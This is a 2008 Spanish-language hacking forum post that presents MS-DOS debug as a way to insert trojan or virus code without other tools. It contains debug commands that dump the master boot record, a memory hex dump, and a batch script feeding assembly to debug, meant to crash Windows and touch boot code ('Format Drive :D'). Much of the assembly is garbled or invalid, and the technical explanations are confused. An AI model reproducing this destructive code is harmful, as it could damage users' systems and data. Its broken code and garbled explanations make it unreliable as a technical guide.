Drama Maker Posted March 1, 2008 Report Posted March 1, 2008 (edited) Si esta en una situacion donde no tiene material, herramientas o conexion a internet y quiere insertar buen codigo(worm, virus, trojan...) y no tiene sus herramientas(script kidding) favoritas vean que facil que es... si ocupan poner por ejemplo: trojan.exe en MS-DOS hay una herramienta de debug bastante poderosa: debug trojan.exe -rbx y les enseñara los valores de: AX=0006BX=0004CX=0000DX=0000SP=FFEEBP=0000SI=0000DI=0000 DS=0C1BES=0C1BSS=0C1BCS=0C1BIP=010A NV UP EI PL NZ NA PO NC 0C1B:010A 0F DB oF Esos valores son los que ocupamos en primera instancia, antes de tocar cualquier binario, recuerden el record flag protection y ahy es donde se empieza... Si van a probar hagan un backup del master boot de una vez...: Code: C:\> debug -a XXXX:100 mov ax,0201 XXXX:103 mov bx,7c00 XXXX:106 mov cx,1 XXXX:109 mov dx,80 XXXX:10C int 13 XXXX:10E int 20 XXXX:110 -g Program terminated normally -r cx CX XXXX :200 -n a:sector.tbl -w 7c00 Writing 00200 bytes -q Esto se debe a que el hermoso microsoft windows nunca toma confianza de nuestros procesos hacia el task mngr o el subsistema de administracion kern32.. Y aqui es donde se puede hacer el "dump" para nuestro codigo exe: Si AX y CX son como la tabla anterior quiere decir que el archivo no va a pasar el datalink y no es administrado por un servidor o cualquier tipo de criptografia, entonces esta aun mas facil... Hacemos el desamble... )i.e Task( : C:\> debug trojan.exe - d trojan.exe Code: C:\>debug trojan Mekz Poizonb0x .Phrack.Ru -d 13AD:0100 4D 00 00 41 00 00 00 00-00 00 00 00 00 00 00 00 M..A............ 13AD:0110 43 4F 4D 53 50 45 43 3D-43 3A 5C 57 34 00 9C 13 COMSPEC=C:\W4... 13AD:0120 57 53 5C 53 59 53 54 45-4D 33 32 5C 43 4F 4D 4D WS\SYSTEM32\COMM 13AD:0130 41 4E 44 2E 43 4F 4D 00-41 4C 4C 55 53 45 52 53 AND.COM.ALLUSERS 13AD:0140 50 52 4F 46 49 4C 45 3D-43 3A 5C 44 4F 43 55 4D PROFILE=C:\DOCUM 13AD:0150 45 7E 31 5C 41 4C 4C 55-53 45 7E 31 00 41 50 50 E~1\ALLUSE~1.APP 13AD:0160 44 41 54 41 3D 43 3A 5C-44 4F 43 55 4D 45 7E 31 DATA=C:\DOCUME~1 13AD:0170 5C 61 7A 72 61 65 6C 5C-41 50 50 4C 49 43 7E 31 \poizonb0x\APPLIC~1 -d 13AD:0180 00 43 4C 49 45 4E 54 4E-41 4D 45 3D 43 6F 6E 73 .CLIENTNAME=Cons 13AD:0190 6F 6C 65 00 43 4F 4D 4D-4F 4E 50 52 4F 47 52 41 ole.COMMONPROGRA 13AD:01A0 4D 46 49 4C 45 53 3D 43-3A 5C 50 52 4F 47 52 41 MFILES=C:\PROGRA 13AD:01B0 7E 31 5C 43 4F 4D 4D 4F-4E 7E 31 00 43 4F 4D 50 ~1\COMMON~1.COMP 13AD:01C0 55 54 45 52 4E 41 4D 45-3D 49 52 45 4E 49 43 56 UTERNAME=IRENICV 13AD:01D0 53 00 48 4F 4D 45 44 52-49 56 45 3D 43 3A 00 48 S.HOMEDRIVE=C:.H 13AD:01E0 4F 4D 45 50 41 54 48 3D-5C 00 49 4E 43 4C 55 44 OMEPATH=\.INCLUD 13AD:01F0 45 3D 44 3A 5C 50 72 6F-67 72 61 6D 20 46 69 6C E=D:\Program Fil - Obtenemos un bloque de 1024 cada vez que pulsemos una tecla del teclado( 256 o 1024) Ahora si ocupamos aun mas para crashear el sistema, es simple, hacemos un batch de esos que son faciles y no sirven para nada...: @echo off echo >$ n sco.com echo >$ a 1024 echo >>$ XOR AX,AX ; Salimos a zero y SS echo >>$ MOV SS,AX ; SS preparado en AX echo >>$ MOV SP,7C00 ; ponemos el puntero en 0000:7C00 echo >>$ STI ; activa interrupts... echo >>$ PUSH AX ; (AX=0) echo >>$ POP ES ; Cloack! Cloack! al puntero extra... echo >>$ PUSH AX ; (AX=0) volvemos a testear AX echo >>$ POP DS ; Segmentos para zero echo >>$ CLD ; borramos el address... echo >>$ MOV SI,7C1B ; aqui empezamos echo >>$ MOV DI,061B ; todo el offset para dejar mas bytes al crash echo >>$ PUSH AX ; (AX) y (DI) en offset echo >>$ PUSH DI ; Dedicada a microsoft... xD 0000:061B echo >>$ MOV CX,FFFFF ; address y DI indocumentado echo >>$ MOV BP,07BE ; primera entrada para BP BT BS echo >>$ MOV CL,04 ; cuatro lugares extra echo >>$ CMP [BP+00],CH ; CH a 0 echo >>$ JL 062E ; encuentra el posible mbr(master boot..) sector echo >>$ JNZ 063A ; xD "Invalid partition table" echo >>$ ADD BP,+10 ; echo >>$ LOOP 0620 ; echo >>$ REP ; jodiendo CX echo >>$ MOVSB ; pop-pop-delta byte por byte echo >>$ RETF ; RETF a jump echo >>$ INT 13 ; Format Drive :D echo >>$ w echo >>$ q debug <$ >nul del $ Este es un claro ejemplo de como no necesitamos una herramienta para crashear el win... solo pensar (: Az <3 Edited March 1, 2008 by Poizonb0x
Recommended Posts